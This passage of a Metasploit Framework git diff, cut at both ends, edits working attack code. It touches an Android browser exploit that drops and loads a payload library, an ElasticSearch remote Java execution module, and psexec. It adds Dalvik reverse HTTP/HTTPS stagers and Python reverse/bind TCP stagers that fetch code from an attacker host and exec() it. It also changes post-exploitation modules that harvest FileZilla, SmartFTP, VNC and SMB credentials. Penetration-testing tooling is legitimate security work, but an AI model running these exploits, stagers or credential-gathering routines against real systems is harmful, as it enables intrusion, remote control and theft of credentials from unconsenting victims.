we concat pids manually + var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); - // build the binary, chmod it, and execute it - m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); - m.invoke(null, null).exec(['chmod', '700', path]).waitFor(); - m.invoke(null, null).exec([path]); + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; + var stagePath = path + '/#{stagename}.apk'; + + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['chmod', '700', libraryPath]).waitFor(); + + // build the stage, chmod it, and load it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['chmod', '700', stagePath]).waitFor(); + + // load the library (this fails in x86, figure out why) + runtime.load(libraryPath); + + // delete dropped files + runtime.exec(['rm', stagePath]).waitFor(); + runtime.exec(['rm', libraryPath]).waitFor(); return true; } - for (i in top) { if (exec(top[i]) === true) break; } + for (i in top) { if (attemptExploit(top[i]) === true) break; } + | + + # remove comments and empty lines + script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') + end + + # Called when a client requests a .js route. + # This is handy for post-XSS. + def serve_static_js(cli, req) + arch = req.qstring['arch'] + response_opts = { 'Content-type' => 'text/javascript' } + + if arch.present? + print_status("Serving javascript for arch #{normalize_arch arch}") + send_response(cli, js(normalize_arch arch), response_opts) + else + print_status("Serving arch detection javascript") + send_response(cli, static_arch_detect_js, response_opts) + end + end + + # This is served to requests for the static .js file. + # Because we have to use javascript to detect arch, we have 3 different + # versions of the static .js file (x86/mips/arm) to choose from. This + # small snippet of js detects the arch and requests the correct file. + def static_arch_detect_js + %Q| + var arches = {}; + arches['#{ARCH_ARMLE}'] = /arm/i; + arches['#{ARCH_MIPSLE}'] = /mips/i; + arches['#{ARCH_X86}'] = /x86/i; + + var arch = null; + for (var name in arches) { + if (navigator.platform.toString().match(arches[name])) { + arch = name; + break; + } + } + + if (arch) { + // load the script with the correct arch + var script = document.createElement('script'); + script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch); + script.setAttribute('type', 'text/javascript'); + + // ensure body is parsed and we won't be in an uninitialized state + setTimeout(function(){ + var node = document.body \|\| document.head; + node.appendChild(script); + }, 100); + } | end - def html - "" + # @return [String] normalized client architecture + def normalize_arch(arch) + if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end end -end \ No newline at end of file + + def html(arch) + "" + end +end diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index 4cea8269d3..c338fe7ffa 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', 'Description' => %q{ - This module exploits a remote command execution vulnerability in ElasticSearch, + This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the - REST API, which requires no authentication or authorization, where the search - function allows dynamic scripts execution, and can be used for remote attackers + REST API, which does not require authentication, where the search + function allows dynamic scripts execution. It can be used for remote attackers to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. }, @@ -65,29 +65,30 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - print_status("#{peer} - Trying to execute arbitrary Java..") + print_status("#{peer} - Trying to execute arbitrary Java...") unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") end - print_status("#{peer} - Asking remote OS...") + print_status("#{peer} - Discovering remote OS...") res = execute(java_os) result = parse_result(res) if result.nil? - fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...") + fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") else - print_good("#{peer} - OS #{result} found") + # TODO: It'd be nice to report_host() with this info. + print_good("#{peer} - Remote OS is '#{result}'") end jar_file = "" if result =~ /win/i - print_status("#{peer} - Asking TEMP path") + print_status("#{peer} - Discovering TEMP path") res = execute(java_tmp_dir) result = parse_result(res) if result.nil? - fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...") + fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") else - print_good("#{peer} - TEMP path found on #{result}") + print_good("#{peer} - TEMP path identified: '#{result}'") end jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" else diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 68badfeef6..1751f1be61 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -107,20 +107,48 @@ class Metasploit3 < Msf::Exploit::Remote end if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0 - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'smb', - :user => datastore['SMBUser'].downcase, - :pass => datastore['SMBPass'], - :active => true + + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } - if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) - else - report_hash.merge!({:type => 'password'}) + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) end - report_auth_info(report_hash) + + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ + credential_data.merge!({:private_type => :ntlm_hash}) + else + credential_data.merge!({:private_type => :password}) + end + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Credential::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) end filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb new file mode 100644 index 0000000000..429cb06ae9 --- /dev/null +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end + +end \ No newline at end of file diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb new file mode 100644 index 0000000000..a9496ebdf2 --- /dev/null +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end +end diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index d41922f40e..c4d263f72e 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -24,10 +24,11 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) - end - def string_sub(data, placeholder, input) - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) end def generate_jar(opts={}) @@ -35,46 +36,20 @@ module Metasploit3 classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] + string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk")) jar.build_manifest - x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = 1 - cert.subject = x509_name - cert.issuer = x509_name - cert.public_key = key.public_key - - # Some time within the last 3 years - cert.not_before = Time.now - rand(3600*24*365*3) - - # From http://developer.android.com/tools/publishing/app-signing.html - # """ - # A validity period of more than 25 years is recommended. - # - # If you plan to publish your application(s) on Google Play, note - # that a validity period ending after 22 October 2033 is a - # requirement. You can not upload an application if it is signed - # with a key whose validity expires before that date. - # """ - # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC - cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) - + cert, key = generate_cert jar.sign(key, cert, [cert]) jar diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 50e8974123..60753157c1 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -15,36 +15,38 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Bind TCP Stager', - 'Description' => 'Python connect stager', + 'Description' => 'Listen for a connection', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::BindTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "s.listen(1)\n" - cmd += "c,a=s.accept()\n" - cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=c.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=c.recv(4096)\n" - cmd += "exec(d,{'s':c})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "s.listen(1)\n" + cmd << "c,a=s.accept()\n" + cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd << "d=c.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=c.recv(4096)\n" + cmd << "exec(d,{'s':c})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 4f741f0c52..bbf7891414 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -15,34 +15,36 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Reverse TCP Stager', - 'Description' => 'Reverse Python connect back stager', + 'Description' => 'Connect back to the attacker', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=s.recv(4096)\n" - cmd += "exec(d,{'s':s})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd << "d=s.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=s.recv(4096)\n" + cmd << "exec(d,{'s':s})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 63fce13671..0f0118ae68 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -8,19 +8,25 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' - module Metasploit3 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => 'Run a meterpreter server in Python', - 'Author' => ['Spencer McIntyre'], + 'Description' => %q{ + Run a meterpreter server in Python. Supported Python versions + are 2.5 - 2.7 and 3.1 - 3.4. + }, + 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + register_advanced_options([ + OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ]) + ], self.class) end def generate_stage @@ -29,6 +35,11 @@ module Metasploit3 met = File.open(file, "rb") {|f| f.read(f.stat.size) } + + if datastore['DEBUGGING'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + met end end diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index e562129d68..5f1553ea7c 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -33,13 +33,7 @@ class Metasploit3 < Msf::Post return end - drive = session.sys.config.getenv('SystemDrive') - case session.platform - when /win64/i - @progs = drive + '\\Program Files (x86)\\' - when /win32/i - @progs = drive + '\\Program Files\\' - end + @progs = "#{session.sys.config.getenv('ProgramFiles')}\\" filezilla = check_filezilla if filezilla != nil @@ -147,20 +141,39 @@ class Metasploit3 < Msf::Post source_id = nil end - # report the goods! - report_auth_info( - :host => session.sock.peerhost, - :port => config['ftp_port'], - :sname => 'ftp', - :proto => 'tcp', - :user => cred['user'], - :pass => cred['password'], - :ptype => "MD5 hash", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['ftp_bindip'], - :target_port => config['ftp_port'] - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['ftp_port'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + jtr_format: 'raw-md5', + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: cred['password'], + username: cred['user'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end perms.each do |perm| @@ -190,19 +203,37 @@ class Metasploit3 < Msf::Post #the module will crash with an error. vprint_status("(No admin information found.)") else - report_auth_info( - :host => session.sock.peerhost, - :port => config['admin_port'], - :sname => 'filezilla-admin', - :proto => 'tcp', - :user => 'admin', - :pass => config['admin_pass'], - :type => "password", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['admin_bindip'], - :target_port => config['admin_port'] - ) + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['admin_port'], + service_name: 'filezilla-admin', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: config['admin_pass'], + username: 'admin' + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index d536fd0cc0..3e0ea97a0f 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -109,14 +109,34 @@ class Metasploit3 < Msf::Post else source_id = nil end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + login_data ={ + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index c728cc4e0d..80c2af9442 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' - +require 'rex/proto/rfb' class Metasploit3 < Msf::Post @@ -224,37 +224,79 @@ class Metasploit3 < Msf::Post e[:port] = 5900 end print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :pass => "#{e[:pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'interactive', + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end if e[:viewonly_pass] != nil print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :viewonly_pass => "#{e[:viewonly_pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password_ro' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:viewonly_pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'view_only', + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end } unload_our_hives(userhives) diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb index dbf8824fd9..6b25a3dab2 100644 --- a/modules/post/windows/gather/enum_muicache.rb +++ b/modules/post/windows/gather/enum_muicache.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post 'Description' => %q{ This module gathers information about the files and file paths that logged on users have - executed on the system. It also will check if the file exists on the system still. This + executed on the system. It also will check if the file still exists on the system. This information is gathered by using information stored under the MUICache registry key. If the user is logged in when the module is executed it will collect the MUICache entries by accessing the registry directly. If the user is not logged in the module will download @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList" profile_subkeys = registry_enumkeys(username_reg_path) if profile_subkeys.blank? - print_error("Unable to access ProfileList registry key. Can't continue.") + print_error("Unable to access ProfileList registry key. Unable to continue.") return nil end @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Post end user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath") if user_home_path.blank? - print_error("Unable to read ProfileImagePath from the registry. Can't continue.") + print_error("Unable to read ProfileImagePath from the registry. Unable to continue.") return nil end full_path = user_home_path.strip @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Post # If the registry_enumvals returns us nothing then we'll know # that the user is most likely not logged in and we'll need to # download and process users hive locally. - print_warning("User #{user}: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..") + print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...") result = process_hive(sys_path, user, muicache, hive_file) unless result.nil? result.each { |r| @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post # If the registry_enumvals returns us content we'll know that we # can access the registry directly and thus continue to process # the content collected from there. - print_status("User #{user}: Enumerating registry..") + print_status("User #{user}: Enumerating registry...") subkeys.each do |key| if key[0] != "@" && key != "LangID" && !key.nil? result = check_file_exists(key, user) @@ -142,11 +142,11 @@ class Metasploit3 < Msf::Post ntuser_status = file_exist?(hive_path) unless ntuser_status == true - print_warning("Couldn't locate/download #{user}'s registry hive. Can't proceed.") + print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.") return nil end - print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file..") + print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...") local_hive_copy = Rex::Quickfile.new("jtrtmp") local_hive_copy.close begin @@ -166,8 +166,8 @@ class Metasploit3 < Msf::Post # extracting the contents of the MUICache registry key. def hive_parser(local_hive_copy, muicache, user) results = [] - print_status("Parsing registry content..") - err_msg = "Error parsing hive. Can't continue." + print_status("Parsing registry content...") + err_msg = "Error parsing hive. Unable to continue." hive = Rex::Registry::Hive.new(local_hive_copy) if hive.nil? print_error(err_msg) @@ -210,7 +210,7 @@ class Metasploit3 < Msf::Post # - http://forensicartifacts.com/2010/08/registry-muicache/ # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots def run - print_status("Starting to enumerate MuiCache registry keys..") + print_status("Starting to enumerate MUICache registry keys...") sys_info = sysinfo['OS'] if sys_info =~/Windows XP/ && is_admin? @@ -219,7 +219,7 @@ class Metasploit3 < Msf::Post hive_file = "\\NTUSER.DAT" elsif sys_info =~/Windows 7/ && is_admin? print_good("Remote system supported: #{sys_info}") - muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" + muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache" hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" else print_error("Unsupported OS or not enough privileges. Unable to continue.") @@ -236,7 +236,7 @@ class Metasploit3 < Msf::Post "File status", ]) - print_status("Phase 1: Searching user names..") + print_status("Phase 1: Searching user names...") sys_users, sys_paths, sys_sids = find_user_names if sys_users.blank? @@ -246,16 +246,16 @@ class Metasploit3 < Msf::Post print_good("Users found: #{sys_users.join(", ")}") end - print_status("Phase 2: Searching registry hives..") + print_status("Phase 2: Searching registry hives...") muicache_reg_keys = enum_muicache_paths(sys_sids, muicache) results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) results.each { |r| table << r } - print_status("Phase 3: Processing results..") + print_status("Phase 3: Processing results...") loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information") print_line("\n" + table.to_s + "\n") - print_status("Results stored in: #{loot}") + print_status("Results stored as: #{loot}") print_status("Execution finished.") end diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index ad9e294316..87d21acb9c 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Post # Assemble the information about the SMB service for this host service_data = { - address: session.sock.peerhost, + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), port: 445, service_name: 'smb', protocol: 'tcp', diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb new file mode 100644 index 0000000000..cb86c8f0a2 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -0,0 +1,82 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/pop3' + +describe Metasploit::Framework::LoginScanner::POP3 do + subject(:scanner) { described_class.new } + + 